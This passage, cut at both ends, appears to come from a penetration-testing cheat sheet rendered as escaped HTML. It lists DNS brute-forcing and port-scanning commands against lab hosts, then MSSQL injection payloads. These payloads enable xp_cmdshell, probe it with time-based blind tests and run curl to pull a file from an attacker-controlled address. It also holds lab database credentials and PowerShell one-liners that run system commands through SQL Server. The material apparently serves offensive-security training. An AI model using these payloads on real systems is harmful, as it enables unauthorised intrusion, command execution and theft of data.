class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;host www.megacorpone.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;host -t mx megacorpone.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;host -t txt megacorpone.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;host www.megacorpone.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;host idontexist.megacorpone.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat list.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;www&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ftp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mail&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;owa&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;proxy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;router&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; ip in &lt;span class="k"&gt;$(&lt;/span&gt;cat list.txt&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; host &lt;span class="nv"&gt;$ip&lt;/span&gt;.megacorpone.com&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; ip in &lt;span class="k"&gt;$(&lt;/span&gt;seq &lt;span class="m"&gt;200&lt;/span&gt; 254&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; host 51.222.169.&lt;span class="nv"&gt;$ip&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -v &lt;span class="s2"&gt;&amp;#34;not found&amp;#34;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;DNS brute forcing&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use -d to specify the domain and -t to specify the enumeration &lt;span class="nb"&gt;type&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;a standard scan here&lt;span class="o"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dnsrecon -d megacorpone.com -t std&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Brute-force attempt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-d specifies the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-D specifies the file containing candidate subdomain strings&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-t specifies the enumeration &lt;span class="nb"&gt;type&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;brt means brute force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dnsrecon -d megacorpone.com -D ~/list.txt -t brt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dnsenum megacorpone.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nslookup mail.megacorptwo.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nslookup -type&lt;span class="o"&gt;=&lt;/span&gt;TXT info.megacorptwo.com 192.168.50.151&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;netcat&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-w specifies the connection timeout in seconds&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-z specifies zero-I/O mode, used &lt;span class="k"&gt;for&lt;/span&gt; scanning without sending data&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-u performs a UDP scan&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-nv enables verbose mode&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-nvv enables more verbose mode&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nc -nvv -w &lt;span class="m"&gt;1&lt;/span&gt; -z 192.168.50.152 3388-3390&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nc -nv -u -z -w &lt;span class="m"&gt;1&lt;/span&gt; 192.168.50.149 120-123&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Port scanning&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1..1024 &lt;span class="p"&gt;|&lt;/span&gt; % &lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt;New-Object Net.Sockets.TcpClient&lt;span class="o"&gt;)&lt;/span&gt;.Connect&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;192.168.50.151&amp;#34;&lt;/span&gt;, &lt;span class="nv"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;TCP port &lt;/span&gt;&lt;span class="nv"&gt;$_&lt;/span&gt;&lt;span class="s2"&gt; is open&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt; 2&amp;gt;&lt;span class="nv"&gt;$null&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="63mssql-injection"&gt;&lt;a href="#63mssql-injection" class="header-anchor"&gt;&lt;/a&gt;63.MSSQL Injection&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://y4er.com/posts/mssql-injection-learn&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://y4er.com/posts/mssql-getshell/&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sqsh -S 192.168.131.248:49965 -U dnnuser -P DotNetNukeDatabasePassword!&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Restore xp_cmdshell&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;EXEC sp_configure &amp;#39;show advanced options&amp;#39;,1;//Allow advanced settings to be changed&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RECONFIGURE;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;EXEC sp_configure &amp;#39;xp_cmdshell&amp;#39;,1; //Enable the xp_cmdshell extension&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RECONFIGURE;--&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Test whether xp_cmdshell is enabled via blind injection&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#39;; IF OBJECT_ID(&amp;#39;xp_cmdshell&amp;#39;) IS NOT NULL WAITFOR DELAY &amp;#39;0:0:5&amp;#39;; --&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#39;; exec master..xp_cmdshell &amp;#39;whoami&amp;#39;; WAITFOR DELAY &amp;#39;0:0:5&amp;#39;; --&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#39;; IF (SELECT value_in_use FROM sys.configurations WHERE name = &amp;#39;xp_cmdshell&amp;#39;) = 1 WAITFOR DELAY &amp;#39;0:0:5&amp;#39;; --&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#39;; IF EXISTS (SELECT 1 FROM sys.configurations WHERE name = &amp;#39;xp_cmdshell&amp;#39; AND value_in_use = 1) WAITFOR DELAY &amp;#39;0:0:5&amp;#39;; --&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Test whether a file exists; delay five seconds if it does&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#39;; EXEC xp_cmdshell &amp;#39;dir c:\inetpub\wwwroot\login.cs&amp;#39;; IF @@ERROR = 0 WAITFOR DELAY &amp;#39;0:0:5&amp;#39;; --&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This also tests whether a file exists and is easier to use&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#39;; DECLARE @result int; EXEC @result = xp_cmdshell &amp;#39;dir c:\inetpub\wwwroot\login.cs&amp;#39;; IF @result = 0 WAITFOR DELAY &amp;#39;0:0:5&amp;#39;; --&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#39;; EXEC xp_cmdshell &amp;#39;dir c:\inetpub\wwwroot\login.cs &amp;amp;&amp;amp; ping -n 6 127.0.0.1&amp;#39;; --&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Execute a shell&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#39;; exec master..xp_cmdshell &amp;#39; curl http://192.168.45.161:33333/2.txt -o C:\ProgramData\2.txt &amp;#39;; --&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Note: Once xp_cmdshell is confirmed, writing a file is not required; it provides CMD execution.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;It can run many commands, such as downloading and executing a file with curl. Writing a file may be the worse choice.&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;MSSQL statements&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sqsh -S 192.168.131.248:49965 -U dnnuser -P DotNetNukeDatabasePassword!&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python /usr/share/doc/python3-impacket/examples/mssqlclient.py Administrator:Lab123@192.168.164.18 -windows-auth&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-- List all databases&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SELECT name FROM master.sys.databases&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GO&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-- Switch databases&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;USE databasename&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GO&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-- List all tables in the current database&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SELECT name FROM sysobjects WHERE xtype = &amp;#39;U&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GO&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-- View the contents of a table&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SELECT * FROM tablename&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GO&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Connecting to MSSQL with PowerShell&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$sql = &amp;#34;Server=10.10.132.142;Database=master;Integrated Security=True;&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$conn = New-Object System.Data.SqlClient.SqlConnection($sql)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$conn.Open()&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Reference: &lt;a class="link" href="https://blog.csdn.net/kk185800961/article/details/52513640" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/kk185800961/article/details/52513640&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The one-liner below is enough to run SQL statements. If it does not work, check the reference above.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cmd.CommandText = &amp;#34;SELECT name FROM master.dbo.sysdatabases&amp;#34;; $reader = $cmd.ExecuteReader(); while($reader.Read()){Write-Host $reader[0]}; $reader.Close()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Enable xp_cmdshell&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cmd.CommandText = &amp;#34;sp_configure &amp;#39;show advanced options&amp;#39;, 1; RECONFIGURE; sp_configure &amp;#39;xp_cmdshell&amp;#39;, 1; RECONFIGURE&amp;#34;; $cmd.ExecuteScalar()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Execute a system command&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cmd.CommandText = &amp;#34;EXEC xp_cmdshell &amp;#39;whoami&amp;#39;&amp;#34;; $cmd.ExecuteScalar()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Current user&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cmd.CommandText = &amp;#34;SELECT SYSTEM_USER&amp;#34;; $cmd.ExecuteScalar()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Whether the current user is sysadmin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cmd.CommandText = &amp;#34;SELECT IS_SRVROLEMEMBER(&amp;#39;sysadmin&amp;#39;)&amp;#34;; $cmd.ExecuteScalar()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Current user&amp;#39;s database permissions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cmd.CommandText = &amp;#34;SELECT permission_name FROM sys.database_permissions WHERE grantee_principal_id = DATABASE_PRINCIPAL_ID()&amp;#34;; $cmd.ExecuteScalar()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Server-level permissions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cmd.CommandText = &amp;#34;SELECT * FROM fn_my_permissions(NULL, &amp;#39;SERVER&amp;#39;)&amp;#34;; 